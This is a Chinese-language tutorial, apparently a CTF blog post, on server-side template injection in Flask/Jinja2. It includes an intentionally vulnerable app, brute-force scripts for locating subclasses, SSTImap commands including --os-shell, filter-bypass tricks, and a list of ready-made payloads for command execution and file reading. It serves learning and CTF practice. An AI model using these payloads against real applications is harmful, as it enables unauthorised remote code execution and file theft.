浅析flask中的SSTI漏洞

SSTI吗

0x01 前言

或许这里说成是flask并不妥当,因为仅仅只是讲解了jinja这种常用的SSti漏洞,但是其实payload都是大同小异,那就这样吧

0x02 question

概念

SSTI(Server-Side Template Injection,服务器端模板注入)漏洞是一种网络安全漏洞,发生在应用程序将不受信任的数据直接传递给服务器端模板引擎时。通过这种漏洞,攻击者可以在服务器端执行任意代码,导致数据泄露、系统被攻陷等严重后果。

原理

服务器端模板引擎用于生成动态内容,通常在网页应用程序中使用。开发者使用模板引擎的语法嵌入变量和逻辑控制结构,从而生成动态的 HTML 或其他格式的输出。也就是说渲染的时候,处理并不规范,导致产生了SSTI漏洞

payload构造

这里我们起一个实验环境

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from flask import Flask
from flask import request
from flask import render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])         
def index():
    template=''' 
    <p>Hello %s </p>'''%(request.args.get('name'))
    return render_template_string(template)      # 渲染为html内容

if __name__ == '__main__':          # 如果作为脚本运行,而不是被当成模块导入
    app.run(host='0.0.0.0')

启动之后,就可以开始实验啦

直接看常用的无过滤payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('tac /f*').read()")}}

()     当前对象

x.__class__       x对应类    

__bases__        所有基类
 
x.__subclasses__          x的所有子类             

__init__      进行初始化
__init__.__globals__           全局的方法、类以及模块
__builtins__          包含eval的模块

那么从这里来看我们的思路就是

拿基类 -> 找子类 -> 构造命令执行或者文件读取负载 -> 拿 flag 是 python 模板注入的正常流程。

怎么拿基类

1
2
3
4
5
().__class__.__bases__[0]:
这个属性返回的是一个元组,包含了当前类的所有直接基类。如果一个类只继承自一个基类,这个元组将只包含一个元素;如果有多个基类(即多继承),元组中则会有多个元素,分别对应这些直接基类。这适用于了解一个类的多继承结构。

().__class__.__base__:
相比之下,这个属性返回的是单个对象,即当前类的单一直接基类。在单继承的情况下,这与().__class__.__bases__[0]得到的结果相同。但是,如果一个类是多继承的,使用__base__只会提供第一个直接基类的信息,忽略了其他基类。这意味着它更适合于简单继承结构的查询

1

拿到基类之后再去拿子类

1
2
().__class__.__bases__[0].__subclasses__()
显示出所有子类

2

然后找出相应的类再来继续即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
search = 'popen'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num +=1
    try:
        if search in i.__init__.__globals__.keys():
            print(i,num)
    except:
        pass
# <class 'os._wrap_close'> 161
# <class 'os._AddedDllDirectory'> 162

但是这是本地运行的,在其中我们应该自己寻找,通过逗号的搜索发现处于132

3

这里是133,但是索引是从0开始的

4

但是这个本地查找的方法可能不是那么的beautiful对吧

1
2
3
4
5
6
7
8
9
import requests
headers = {
    'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'
}
for i in range(500):
    url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
    res = requests.get(url=url, headers=headers)
    if 'os.py' in res.text:
        print(i)

利用这个脚本可以跑出当前环境所有你想要的

1
().__class__.__bases__[0].__subclasses__()[194].__init__.__globals__["os"].popen('ls /').read()

寻找eval

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"

    res = requests.get(url=url, headers=headers)
    if 'eval' in res.text:
        print(i)
1
().__class__.__bases__[0].__subclasses__()[194].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("tac /f*").read()')

这个payload理论上来说应该是最实用的,但是呢,太长了

直接找popen

1
2
3
4
5
6
7
8
9
import requests
headers = {
    'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'
}
for i in range(500):
    url = "http://6312ef4a-251a-46c9-b8c3-e8dbfcee660d.challenge.ctf.show/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
    res = requests.get(url=url, headers=headers)
    if 'popen' in res.text:
        print(i)
1
().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__["popen"]('ls /').read()

这里基本就理清payload怎么来的了

工具

sstimap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
git clone https://github.com/vladko312/SSTImap.git

cd SSTImap

pip install requirements.txt

./sstimap.py 
# 检测
./sstimap.py -u https://6312ef4a-251a-46c9-b8c3-e8dbfcee660d.challenge.ctf.show/?name
# getshell
./sstimap.py -u https://6312ef4a-251a-46c9-b8c3-e8dbfcee660d.challenge.ctf.show/?name --os-shell

支持的模板引擎

模板引擎远程代码执行盲注代码评估文件读取文件写入
MakoPython
Jinja2Python
Python (code eval)Python
TornadoPython
NunjucksJavaScript
PugJavaScript
doTJavaScript
MarkoJavaScript
JavaScript (code eval)JavaScript
Dust (<= dustjs-helpers@1.5.0)JavaScript
EJSJavaScript
Ruby (code eval)Ruby
SlimRuby
ERBRuby
Smarty (unsecured)PHP
Smarty (secured)PHP
PHP (code eval)PHP
Twig (<=1.19)PHP
FreemarkerJava
VelocityJava
Twig (>1.19)×××××
Dust (> dustjs-helpers@1.5.0)×××××

fenjing

1
2
3
4
5
pip install fenjing

python -m fenjing webui

# python -m fenjing scan --url 'http://xxxx:xxx'

但是这个貌似是只能用于jinja,不过非常好用

bypass

这里主要就是使用过滤器和一些手法了

单双引号

1
2
3
4
5
6
7
8
9
request.args.x

[request.args.x]&x=__builtins__       等同于['__builtins__']
(request.args.x)&x=open('/flag').read     等同于("open('/flag').read")

request.cookies.x
?name={{config.__class__.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie:
x1=__builtins__;x2=__import__('os').popen('tac /f*').read()

这两者差不多

[ ]

1
2
3
4
5
6
7
8
9
用魔术方法__getitem__来代替方括号

__globals__.__getitem__('__builtins__')      是等效的      __globals__['__builtins__']

__bases__.__getitem__(0)         和         __bases__[0]

__globals__.__getitem__(request.cookies.x1)   cookie:x1=__builtins__;
相当于
__globals__['__builtins__']

.

用方括号

1
config['__class__']['__bases__'][0]       相当于config.__class__.__bases__[0]

用过滤器

1
2
3
4
(config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__'))(request.cookies.x1)  cookie:x1=__builtins__
相当于
config.__class__.__init__.__globals__.__getitem__('__builtins__')
再而config.__class__.__init__.__globals__['__builtins__']

大括号

利用{%print()}

1
2
3
{%print(config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()"))%}
等价于
{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}

利用for 和if

1
2
3
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('ls /').read()%}{%endif%}{%endfor%}

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}

_

直接用request.cookies.x或者request.args.x来绕过

用16进制编码

1
config['\x5f\x5fclass\x5f\x5f']   相当于  config.__class__

还有利用jinja框架的编码直接写出下划线的

1
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}

这个过程我们更加具体一些,首先

1
2
3
4
5
(): 这是一个空的元组。
|select: 这是Jinja2中的过滤器,通常用于从序列中选择元素。
|string: 这个过滤器通常用于将值转换为字符串。
|list: 这个过滤器通常用于将值转换为列表。
.pop(24): 这是Python中列表的一个方法,用于移除并返回列表中的指定索引位置的元素。

是不是清晰了很多,怎么说呢相当于截取吧

数字

分为length和count都一样,就是根据键的数量来判定

count

1
{{(dict(e=a)|join|count)}}

一样的分析,首先dict会根据传值创建键值对

1
2
3
4
诶那么在jinja中
|join: 这是Jinja2中的过滤器,通常用于将列表中的元素连接成一个字符串。

|count 计算字符串 '(f, value)' 中的字符数量

也就是说逐渐增加键的数量即可满足拼接出数字

1
{{dict(f=a,a=b).keys()|count}}   #2       也是等效的
1
2
3
{% set po=dict(po=a,p=a)|join|count%}{%print(po)%}   # 3

{% set po=dict(po=a)|join|count%}{%print(po)%}   # 2

length

1
2
3
4
5
{% set c=(t|length)%}{%print(c)%}   #0

{{(dict(e=a)|join|length)}}      #1

{{(dict(e=a,po=b)|join|length)}}      #3

利用~|int

1
2
3
|int     用来整数型转换

~    用来链接字符串 相当于加
1
{% set ccc=(dict(ee=a)|join|count)%}{% set ccccc=(dict(eeee=a)|join|count)%}{% set coun=(ccc~ccccc)|int%}{%print(coun)%}  为24

拼接关键字

set

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{% set po=dict(po=a,p=a)|join%}          //拼接出pop
{% set a=(()|select|string|list)|attr(po)(24)%}         //拼接出_
{% set ini=(a,a,dict(init=a)|join,a,a)|join%}          //拼接出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}       //拼接出__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}		//拼接出__getitem__
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}		//拼接出__builtins__
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}		
{% set chr=x.chr%}		//使用chr类来进行RCE因为等会要ascii转字符
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}	//拼接出/flag
{%print(x.open(file).read())%}

~

1
2
3
{{config.__init__.__globals__['__buil'~'tins__'].eval("__imp"~"ort__('os').popen('ls /').read()")}}

{%set a='__clas'%}{%set b='s__'%}{%print(a~b)%}

常用payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('ls /').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
6、文件读取
{{x.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__'].open('app.py','r').read()}}
对应类为_frozen_importlib._ModuleLock
//x的含义是可以为任意字母,不仅仅限于x

0x03 小结

终于总结完了,这里还是总结了一会,把常用的过滤器和姿势也写了点例子,会了这些,也不用demo来说明了,基本上大部分都打得通,不对的地方,还是希望各位师傅斧正哇

赞赏支持

Licensed under CC BY-NC-SA 4.0